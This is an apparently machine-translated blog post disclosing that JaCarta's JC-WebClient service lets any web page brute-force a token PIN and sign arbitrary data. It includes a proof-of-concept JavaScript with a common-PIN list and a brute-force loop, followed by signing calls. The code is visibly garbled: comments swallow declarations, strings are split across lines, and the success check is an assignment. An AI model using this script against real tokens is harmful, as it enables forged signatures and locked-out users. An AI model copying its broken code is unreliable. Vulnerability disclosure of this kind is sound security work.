Test JaCarta WebClient or store tokens in a safe

“When black cover drifted aside for a moment, Margherita turned round and saw that there were not only multi-colored towers with an airplane unfolding above them, but the city itself had not left for a long time and had left only fog in itself.”

M.A. Bulgakov
"Master and Margarita"


Hi, Habr! Probably almost every Russian organization has these products in a fun multicolored coloring. We are talking about products JaCarta and software to them. This happiness came to me too, and I decided to push the black cover a little to hide their essence, in other words API. Some banks, especially issuing JaCarta GOST-2 tokens to their customers, require the installation of the JC-WebClient application from Aladdin RD to work.

Although there is no fresh distribution on the official website of the developer (in the Demo section, you can download the older version, but it uses outdated API), the distribution can be found using Google on the line "JC-WebClient-4.0.0.1186" on the RBS sites.

After installing the application on the user's computer, port 24738 is opened on which this client is running.

https://localhost:24738/JCWebClient.js

The developer’s website describes the API of this application openly and in detail (as well as the file system functions of the entire line of tokens of this manufacturer via jcFS.dll, included in the “JaCarta Single Client” installation package) and the point is that with a number of functions you can or sign the EDS on the token with anything, picking up the pin code, or block the token with unsuccessful attempts to enter it. And all this remotely, via the Internet.

It’s no secret that users often leave the token with the pin code by default, or the one with which they received it (they are usually afraid that when changing the pin code, everything will stop working).

The most commonly used pin codes are 123456, and the token during the working day, or even around the clock, is plugged into the computer port or usb hub.

Thanks to JC-WebClient, if such a user is allowed to slip a webpage or a letter with uncomplicated JavaScript, then it becomes possible not to get the keys of the token (in some cases this is possible only by directly accessing the token file system, an example has already been given here ), but pick up the pin code and sign any data and send it somewhere.

In case of 10 unsuccessful attempts to bust, the token is blocked, and how often it happens, if the pin of the administrator code for unlocking is not set, then only initialization will help. And this is not the time paid taxes (and as a result of penalties and even blocking the settlement account of the tax organization), penalties from suppliers, in general, there is little good.



The problem with brute force of the pin code could be solved either by making it possible to enter it only through the JC-WebClient interface window, or as a half-measure, in the case of for example 3 unsuccessful input attempts, to block further authorization, display a message to the user, and wait until it confirm your actions.

I wrote a small test script that shows this vulnerability. The script works on all modern and relatively modern browsers, even IE :)

Naturally, he does not send anything anywhere, but simply displays the results of the work of a sequence of functions.

The script implements a full brute force of 10 attempts to enter the PIN code "for slaughter" the token, so you can run the script only with a test token!

You should also remember that the use of this script otherwise than on your own test token is a violation of the law.

Test result:


The script for generating a key pair and a certificate using JC-WebClient for testing.
You can use EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. The token must be initialized with a pin user code 111111.

Before testing, you must install a JC-WebClient version no lower than 4.

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");
//Получаем версию JCWebClient2var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");
//Получаем доступ к слотам и определяем число подключенных токеновvar slots = JCWebClient2.getAllSlots();
 document.write("Подключено токенов: "+slots.length+"
");
//Выводим модель токеновfor (i = 0; i < slots.length; i++) {
   var slot = slots[i];
 document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
}
var tokenID = slot.id,        // Идентификатор токена
    userPin = '111111'; // PIN-код пользователя// Проверить текущее состояние аутентификации на токене// (должно равняться JCWebClient2.Vars.AuthState.notBinded)var tokenState = JCWebClient2.getLoggedInState();
document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");
// Предъявить PIN-код
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: userPin
   }
});
// Проверить изменившееся состояние// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");
// Создать контейнер с ключевой парой и присвоить ему имяvar keyPairID = JCWebClient2.createKeyPair({
   args: {
      paramSet: "XA",
      description: "my description",
      algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256
   }
});
// Задать отличительное имя пользователя (Distinguished Name (DN)),// включающее стандартное имя (Common Name, (CN))var dn = {
   'CN': '123',
   'C': 'RU'
};
// Задать расширения, определяющие область применения закрытого ключаvar exts = {
   'keyUsage': 'Digital Signature'
};
// Записать сертификатvar contID = JCWebClient2.generateUserSelfSignedCertificate({
   args: {
      keyPairID: keyPairID,
      dn: dn,
      exts: exts,
      days: 365
   }
});
//Массив информации на токенахvar list=[]; 
//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});
//Получаем id и информацию о созданном контейнереvar data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+" 
");
document.write("Описание контейнера: "+data.description+" 
");
document.write("Алгоритм подписи: "+data.algorithm+" 
");
// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

And the security audit script itself:

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");
//Получаем версию JCWebClient2var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");
//Получаем доступ к слотам и определяем число подключенных токеновvar slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: "+slots.length+"
");
//Выводим модель токеновfor (i = 0; i < slots.length; i++) {
   var slot = slots[i];
   document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
                                   }
// Идентификатор токенаvar tokenID = slot.id;        
// Проверить текущее состояние аутентификации на токене// (должно равняться JCWebClient2.Vars.AuthState.notBinded)var tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");
//Массив информации на токенахvar list=[]; 
//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});
//Получаем id и информацию о контейнереvar data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+" 
");
document.write("Описание контейнера: "+data.description+" 
");
document.write("Алгоритм подписи: "+data.algorithm+" 
");
// Данные для подписи (Hello World закодированное Base64)var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; 
document.write("Данные для подписи: "+dataToSign+" 
");
//Массив пин кодов var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"];
//функция авторизацииfunctionbind(pass)
{
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: pass
   }
});
}
var i=0;
//Перебор пин кодов в цикле//Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!!while (i < 10) {
i++;
try{
bind(pin[i]);
tokenState = JCWebClient2.getLoggedInState();
//Если атака удалась, выводим результат и завершаем циклif(tokenState.state=1) 
{
document.write("Успешно подобран пин код: "+pin[i]+"
");
break;
}
   }
//Вывод информации об ошибкеcatch(e){document.write(e+"
");}
   }
// Проверить изменившееся состояние// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");
//Получаем содерижимое сертификатаvar CertificateBody=JCWebClient2.getCertificateBody({
   args: {
      id: contID      
   }
});
document.write("CertificateBody:  "+CertificateBody+"
");
// Подписать данные, используя программное хэширование и вывести подписанное в Base64var signedData = JCWebClient2.signBase64EncodedData({
   args: {
      contID: contID,
      data: dataToSign,
      attachedSignature: true
   }
});
document.write("Подписано успешно. 
");
document.write("Подписанные данные: "+signedData+" 
");
//Проверка подписиvar signature = signedData;
var res = JCWebClient2.verifyBase64EncodedData({
   args: {
      signature: signature
   }
});
document.write("Результат проверки подписи: "+res+" 
");
// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

JC-WebClient API Information Source

Also popular now: